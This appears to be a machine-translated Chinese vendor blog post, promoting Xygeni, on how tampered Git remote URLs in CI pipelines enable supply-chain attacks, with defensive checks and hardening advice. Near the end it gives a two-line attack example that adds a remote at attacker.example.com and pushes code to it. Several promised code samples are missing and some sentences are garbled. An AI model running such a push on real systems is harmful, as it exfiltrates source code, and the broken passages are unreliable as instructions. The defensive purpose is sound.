簡單 Git 指令背後隱藏的風險
對於大多數開發者來說，執行類似 `git remote set-url origin` 的指令感覺像是例行公事，只是維護 Git 配置的另一個步驟。 CI 腳本通常也會執行諸如 `git remote set-url`、`git set url for remote` 或 `git remote add` 之類的命令，以便在建置過程中取得或推送程式碼。 但風險在於：如果攻擊者篡改了該配置（在本地或 CI 中），他們可以將您的原始程式碼重定向到惡意儲存庫、攔截憑證或註入供應鏈惡意軟體。
典型用法範例：
# 合法用途
git remote set-url origin https://github.com/org/project.git
🇧🇷 此範例不安全，僅供學習交流之用。請勿用於生產環境。
安全版本控制、鎖定和驗證儲存庫來源
為什麼？如果遠端倉庫切換到攻擊者控制的主機，後續的每次 git fetch/git push 操作都會指向惡意程式碼。盡可能在程式碼中硬編碼可信任來源，並避免使用未經驗證的動態 URL。
遠程操控如何損害構建 Pipeline
修改 Git 遠端 URL 可能會對自動化流程造成嚴重後果。 pipeline腳本被預設信任的情況。
範例場景：
- CI 腳本使用 git remote set-url 動態地重新配置儲存庫。
- 腳本中註入了被竄改的環境變數（例如，令牌或倉庫 URL）。
- 該建置過程會取得或推送程式碼到惡意程式碼庫。
- 攻擊者植入後門或篡改依賴項。
🇧🇷 此範例不安全，僅供學習交流之用。請勿用於生產環境。
安全版本，使用前請先確認 $REPO_URL（白名單/xygeni 驗證）。
為什麼： 根據維護的白名單驗證傳入的儲存庫 URL（或使用 xygeni verify --git-origin在採取任何行動之前，請先檢查環境變數。這可以防止攻擊者覆蓋環境變數以進行重定向。 pipelines.
檢測遠端配置中的未經授權的更改
Git 不會在遠端倉庫修改時發出警報。主動監控… .git/config 預建完整性檢查是必要的。
實用檢測技術
檢查 Git 配置：
將輸出結果與儲存在安全性基線中的預期 URL 進行比較。
驗證
.git/config正直：將校驗和與可信基線進行比較。
基於CI的驗證：
教育筆記： 請勿使用暴露在日誌或未受保護環境中的長期有效憑證來執行完整性檢查或驗證命令。請使用臨時憑證和加密金鑰，並儘可能避免以特權使用者身分執行驗證命令。
檢測提示： 尋找指向非規範域的遠端伺服器（意外情況） .net, .io未經驗證的IP位址）、重複的遠端名稱或控制倉庫URL的環境變數。早期檢測可以防止這種情況發生。 git set-url 透過污染構建進行操縱。
使用安全措施保護儲存庫來源 Guardrails 以及哈希驗證
預防意味著對建置所依據的程式碼庫進行嚴格控制。 Guardrails 包括簽名、哈希驗證以及限制誰可以修改 CI 變數。
保障儲存庫完整性的安全實踐
儲存儲存庫 URL，並在可行的情況下硬編碼可信任來源：
驗證儲存庫哈希值：
在建置之前，請先驗證 HEAD 是否與預期的雜湊值相符。
🇧🇷 不安全範例 在日誌中列印令牌（請勿在生產環境中使用）。
安全版本，從保險庫讀取秘密，永不列印
簡易檢查清單：安全 Git 遠端管理
- 執行 遠端 URL 白名單或驗證.
- 建置前請先驗證 .git/config 檔案的完整性。
- 需要簽名 commits 和標籤。
- 限制誰可以修改 CI 環境變數。
- 記錄 git remote set-url 和 git remote add 的執行情況以進行審計。
將 Git 遠端集 URL 驗證整合到 CI/CD Pipelines
新增 guardrails 並採用自動化驗證機制，儘早阻止遠端操控。 pipeline.
防護措施範例：檢查重複或未經授權的遙控器
在共享環境中加強供應鏈防篡改能力
共用運行器和寬鬆的遠端命令風險很高。避免在作業執行時新增未經審核的遠端伺服器。
🇧🇷 不安全範例，新增攻擊者遠端（請勿使用）。
安全版本，僅限已驗證域名，並且僅對已批准的來源使用 –set-url 參數。
注意：最好使用臨時運行器，避免在作業之間使用持久共享快取。
關於執行器的注意事項：請使用臨時的、隔離的執行器，並為每個作業重新建立運行器。共享磁碟或快取可能會導致篡改後的檔案在建置過程中持續存在。
將 Git 設定 URL 整合到遠端驗證中 CI/CD Pipelines
確保 git 遠端 set-url 使用的安全性不僅僅是手動檢查；它還需要自動化。 現代DevSecOps工作流程可以將驗證直接整合到其中 CI/CD pipelines.
範例：自動化遠端完整性驗證
此配置確保在任何建置或部署運行之前， pipeline 驗證：
- 倉庫 URL 與預期值相符。
- Commit 簽名有效。
- 使用 git add remote 指令沒有新增任何意外的遠端倉庫。
附加 CI 控制
- Pre-commit hooks檢查是否有未經授權的 git remote set-url 命令存在於 commits.
- 策略即程式碼強制執行：將允許的來源定義在版本控制的策略中。
- 依賴鏡像：從經過驗證的內部鏡像網站拉取程式碼，而不是直接從網路資源拉取程式碼。
實現這些檢查的自動化 它不僅可以防止配置錯誤，還可以在程式碼出貨前偵測到供應鏈篡改企圖。
在共享環境中加強供應鏈防篡改能力
共用運行器或臨時 CI 環境會帶來額外的風險。當多個建置共享資源時，`git remote set-url` 或 `git add remote` 命令可能會被惡意利用，從而在會話之間持久化惡意遠端倉庫。
常見攻擊場景
被竄改的建置腳本會新增一個新的遠端倉庫，用於向攻擊者的倉庫推送程式碼：
git add remote backup https://attacker.example.com/repo.git
git push backup main
- 運行在同一 CI 代理程式上的另一個專案從這個受污染的狀態下獲取資料。
- 令牌或建置工件等敏感資料會透過未經授權的推送外洩。
強化措施
- 短暫的跑者： 每次建置後重置 CI 環境。
- 網路隔離： 限制出站流量至已核准的網域。
- 最小權限： 限制 Git 操作的權限 pipelines.
- 文物簽名： 確保所有建置輸出都經過加密簽署和驗證。
透過結合隔離、驗證和監控，團隊可以消除利用 git set url 進行遠端操控的攻擊。
驗證、監控和自動化儲存庫信任
一次誤用的 `git remote set-url` 或未經驗證的 `git add remote` 指令，就可能悄無聲息地將整個建置流程重定向到攻擊者控制的倉庫。在 DevOps 領域，生產力和安全漏洞之間的界線比以往任何時候都更加模糊。 軟件供應鏈攻擊 正是利用這一點。
為了維護您對你的信任 pipelines:
- 持續驗證儲存庫來源。
- 執行 commit 以及文物簽名。
- 自動化 在每個階段進行完整性檢查 CI/CD.
像平台一樣 Xygeni 協助 DevSecOps 團隊偵測遠端錯誤配置、監控儲存庫信任邊界，並在惡意遠端程式碼有機會部署之前阻止因 Git 濫用而導致的供應鏈風險。
相信你的工作流程，但要驗證你的資訊來源。這樣才能防止 git remote set-url 成為下一個安全漏洞。
